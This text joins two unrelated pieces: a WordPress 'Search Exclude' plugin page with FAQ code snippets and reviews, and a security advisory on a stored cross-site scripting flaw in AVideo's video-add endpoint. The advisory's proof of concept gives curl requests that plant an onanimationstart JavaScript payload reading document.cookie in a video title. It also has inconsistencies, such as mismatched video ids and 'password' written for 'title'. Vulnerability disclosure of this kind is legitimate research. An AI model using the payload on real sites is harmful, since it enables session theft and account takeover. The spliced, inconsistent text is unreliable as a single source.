*   Installation
*   Support
*   Development

With this plugin you can exclude any page, post or whatever from the WordPress search results by checking off the corresponding checkbox on post/page edit page.  
Supports quick and bulk edit.

On the plugin settings page you can also see the list of all the items that are hidden from search.

1.  Upload search-exclude directory to the /wp-content/plugins/ directory
2.  Activate the plugin through the ‘Plugins’ menu in WordPress
3.  Go to any post/page edit page and check off the checkbox Exclude from Search Results if you don’t want the post/page to be shown in the search results

**Does this plugin affect SEO?**

No, it does not affect crawling and indexing by search engines.  
The ONLY thing it does is hiding selected post/pages from your site search page. Not altering SEO indexing.

If you want posts/pages to be hidden from search engines you may add the following snippet to your functions.php:

    function add_meta_for_search_excluded()
    {
        global $post;
        if (false !== array_search($post->ID, get_option('sep_exclude', array()))) {
            echo '<meta name="robots" content="noindex,nofollow" />', "\n";
        }
    }
    add_action('wp_head', 'add_meta_for_search_excluded');
    

Note: already indexed pages will remain indexed for quite a while. In order to remove them from Google index, you may use Google Search Console (or similar tool for other engines).

**Are there any hooks or actions available to customize plugin behaviour?**

Yes.  
There is an action searchexclude_hide_from_search.  
You can pass any post/page/custom\_post ids as an array in the first parameter.  
The second parameter specifies state of visibility in search. Pass true if you want to hide posts/pages,  
or false – if you want show them in the search results.

Example:  
Let’s say you want “Exclude from Search Results” checkbox to be checked off by default  
for newly created posts, but not pages. In this case you can add following code  
to your theme’s function.php:

    add_filter('default_content', 'excludeNewPostByDefault', 10, 2);
    function excludeNewPostByDefault($content, $post)
    {
        if ('post' === $post->post_type) {
            do_action('searchexclude_hide_from_search', array($post->ID), true);
        }
    }
    

Also there is a filter searchexclude_filter_search.  
With this filter you can turn on/off search filtering dynamically.  
Parameters:  
$exclude – current search filtering state (specifies whether to filter search or not)  
$query – current WP\_Query object

By returning true or false you can turn search filtering respectively.

Example:  
Let’s say you need to disable search filtering if searching by specific post\_type.  
In this case you could add following code to you functions.php:

    add_filter('searchexclude_filter_search', 'filterForProducts', 10, 2);
    function filterForProducts($exclude, $query)
    {
        return $exclude && 'product' !== $query->get('post_type');
    }
    

works well for me. I think this is one of those very useful plugins which makes something an expert can do quite easily accessible to novices for free ! Thank you

Super Brilliant Plugin. Helps a lot with SEO + prevents making a mess on the web. Hope you are doing ok. My heart goes out to all suffering in Ukraine. @-/---

I spent an hour trying to hide woocommerce products from my search, added a bunch of code to functions. This baby worked in 30 seconds. Wonderful, thanks!

Simple, light, useful and free. Amazing plugin!

Does the job very well, love the bulk option

Thanks so much for coming up with this. Working in quick edit mode makes it a super star!

**CWE**

CWE-79 - Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

**DETAILS**

AVideo is a web application, mostly written in PHP, that can be used to create an audio/video sharing website. It allows users to import videos from various sources, encode and share them in various ways. Users can sign up to the website in order to share videos, while viewers have anonymous access to the publicly-available contents. The platform provides plugins for features like live streaming, skins, YouTube uploads and more.

By making a POST request to objects/videoAddNew.json.php it’s possible to add a new video in AVideo. This request can be performed by an authenticated user with video upload permissions.

    require_once 'video.php';
    
    // [1]
    if (!empty($_POST['id'])) {
        if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {
            die('{"error":"2 ' . __("Permission denied") . '"}');
        }
    }
    
    ...
    
    $obj = new Video($_POST['title'], "", @$_POST['id']); // [2]
    
    TimeLogEnd(__FILE__, __LINE__);
    
    $obj->setClean_Title($_POST['clean_title']);
    $audioLinks = ['mp3', 'ogg'];
    $videoLinks = ['mp4', 'webm', 'm3u8'];
    TimeLogEnd(__FILE__, __LINE__);
    // [3]
    if (!empty($_POST['videoLink'])) {
        //var_dump($config->getEncoderURL()."getLinkInfo/". base64_encode($_POST['videoLink']));exit;
        $path_parts = pathinfo($_POST['videoLink']);
        $extension = strtolower(@$path_parts["extension"]);
        // [4]
        if (empty($_POST['id']) && !(in_array($extension, $audioLinks) || in_array($extension, $videoLinks))) {
            $getLinkInfo = $config->getEncoderURL() . "getLinkInfo/" . base64_encode($_POST['videoLink']);
            _error_log('videoAddNew: '.$getLinkInfo);
            $info = url_get_contents($getLinkInfo, '', 180, true);
            $infoObj = _json_decode($info);
            $paths = Video::getNewVideoFilename();
            $filename = $paths['filename'];
            $filename = $obj->setFilename($filename);
            if (is_object($infoObj)) {
                $obj->setTitle($infoObj->title);     // [5]
                $obj->setClean_title($infoObj->title);
                $obj->setDuration($infoObj->duration);
                $obj->setDescription($infoObj->description);
                file_put_contents($global['systemRootPath'] . "videos/{$filename}.jpg", base64_decode($infoObj->thumbs64));
            }
            $_POST['videoLinkType'] = "embed";
        }
        // [4]
        elseif (empty($_POST['id'])) {
            $paths = Video::getNewVideoFilename();
            $filename = $paths['filename'];
            $filename = $obj->setFilename($filename);
            $obj->setTitle($path_parts["filename"]);   // [5]
            $obj->setClean_title($path_parts["filename"]);
            $obj->setDuration("");
            $obj->setDescription(@$_POST['description']);
            $_POST['videoLinkType'] = "linkVideo";
        }
        $obj->setVideoLink($_POST['videoLink']);
    ...
    // [6]
    $resp = $obj->save(true);
    

At \[1\], the code checks if the user making the request has permission to edit the video supplied via id (unless empty).  
At \[2\], a new Video object is created, whose class is defined in video.php.  
At \[3\], the code allows the user to send a videoLink parameter, containing a link to a video that will be downloaded by AVideo and stored as the new video being added.  
At \[4\], the code takes different paths depending on whether the videoLink contains a known extension. This path doesn’t matter for the purposes of this advisory; it’s enough to note that both paths set a title \[5\] that is not controlled by the parameters sent in the current request.  
Finally, the new video object is saved into the database \[6\].

Note that if paths at \[4\] are not taken, setTitle is not called, so the title set at \[2\] is the one that will be used for the video. In order to not take the paths at \[4\], it’s enough to edit a video by calling this same page again and supplying a video id. This way the two conditions at \[4\] are not satisfied, since $_POST['id'] is not empty, allowing a user to change the video password at will.

Let’s check what happens when creating the Video object at \[2\]:

    class Video {
    ...
    public function __construct($title = "", $filename = "", $id = 0) {
        global $global;
        $this->rotation = 0;
        $this->zoom = 1;
        if (!empty($id)) {
            $this->load($id);
        }
        if (!empty($title)) {
            $this->setTitle($title); // [7]
        }
        if (!empty($filename)) {
            $this->filename = $filename;
        }
    }
    

We see we’ll end up calling setTitle \[7\]:

    public function setTitle($title) {
        if ($title === "Video automatically booked" && !empty($this->title)) {
            return false;
        }
        $new_title = strip_tags($title);
        if (strlen($new_title) > 190) {
            $new_title = substr($new_title, 0, 187) . '...';
        }
        AVideoPlugin::onVideoSetTitle($this->id, $this->title, $new_title);
        $this->title = $new_title;
    }
    

Besides string truncation and a plugin hook, there’s no explicit sanitization of the video title.

getTitle is used as interface to retrieve the video object title, which simply returns the title property:

    public function getTitle() {
        return $this->title;
    }
    

The lack of sanitization does not represent a security issue at this stage. However, there’s no sanitization in a later stage, when the videos are presented on the page. The issue is in the function getVideosListItem in objects/video.php:

        public static function getVideosListItem($videos_id, $divID = '', $style = '') {
            ...
            $objGallery = AVideoPlugin::getObjectData("Gallery");
            $program = AVideoPlugin::loadPluginIfEnabled('PlayLists');
            $template = $global['systemRootPath'] . 'view/videosListItem.html';
            $templateContent = file_get_contents($template);
            $value = Video::getVideoLight($videos_id);     // [8]
            $link = Video::getLink($value['id'], $value['clean_title'], "", $get);
            if (!empty($_GET['page']) && $_GET['page'] > 1) {
                $link = addQueryStringParameter($link, 'page', $_GET['page']);
            }
    
            $title = $value['title']; // [9]
            ...
            // [10]
            if (!empty($imgGif)) {
                $imgGifHTML = '<img src="' . getCDN() . 'view/img/loading-gif.png" data-src="' . $imgGif .
                              '" style="position: absolute; top: 0; display: none;" alt="' . $title . 
                              '" id="thumbsGIF' . $videos_id . '" class="thumbsGIF img-responsive" height="130" />';
            }
            ...
            $search = [
                ...
                '{imgGifHTML}',
                '{timeHTML}',
                '{loggedUserHTML}',
                ...
            ];
    
            $replace = [
                ...
                $imgGifHTML,
                $timeHTML,
                $loggedUserHTML,
                ...
            ];
            $btnHTML = @str_replace($search,$replace,$templateContent); // [11]
            return $btnHTML;
        }
    

At \[8\] the requested video is fetched from the database, via the function getVideoLight:

        public static function getVideoLight($id) {
            global $global, $config;
            $id = intval($id);
            $sql = "SELECT * FROM videos WHERE id = ? LIMIT 1";
            $res = sqlDAL::readSql($sql, 'i', [$id], true);
            $video = sqlDAL::fetchAssoc($res);
            sqlDAL::close($res);
            return $video;
        }
    

At \[9\] the title is extracted from the row, meaning it’s unsanitized. At \[10\] the $title is inserted direcly in an HTML string, which is eventually inserted in a bigger template \[11\] and returned.

Any view that is using getVideosListItem will trigger the stored XSS, which includes the following files:

*   view/modeYoutubeBottomRight.php
*   view/videoViewsInfo.php
*   view/videosList.php

Any other page including the pages above will clearly also trigger the XSS. The simplest way to trigger it is to visit the page for the video that contains the XSS in its title. For example, when requesting https://192.168.1.200/video/123, where 123 is the video id, AVideo internally redirects the request to https://192.168.1.200/view/index.php?v=123. Eventually, view/videosList.php is included in the page.

This issue can be used by an attacker, in the worst case, to take over an administrator account. Note that while this requires user interaction, it is very easy to trigger because the video list items are printed via several different pages.

**Exploit Proof of Concept**

First, an attacker can create a video by importing a video (https://192.168.1.200/video/48) already present in the platform.

    curl -k --cookie '84b11d010cced71edffee7aa62c4eda0=uot19510578r10nohk91j0sunb' --data-raw 'public=true&only_for_paid=false&videoLink=https://192.168.1.200/video/48' 'https://192.168.1.200/objects/videoAddNew.json.php'
    
    {
        "status": true,
        "msg": "",
        "info": "...",
        "videos_id": 135,
        "video":
        {
            "id": 135,
            "title": "sample",
            "clean_title": "sample",
            "description": "",
            ...
            "videoLink": "https://192.168.1.200/video/48",
            "next_videos_id": null,
            "isSuggested": 0,
            ...
        },
        "clearFirstPageCache": true
    }
    

A video has been created with id 135. The title is taken from the video with id 48; however, it can be changed with an XSS payload:

    curl -k --cookie '84b11d010cced71edffee7aa62c4eda0=uot19510578r10nohk91j0sunb' --data-raw 'id=133&title=%22+style=%22animation-name:bounce%22+onanimationstart=%22alert(document.cookie)%22' 'https://192.168.1.200/objects/videoAddNew.json.php'
    

Because the video list can be hidden, the Javascript might not trigger. An attacker can bypass this by using the onanimationstart event, to force the browser to execute any Javascript code on page load.

At this point the XSS has been stored, and it can be triggered by any user that visits the page https://192.168.1.200/video/135.
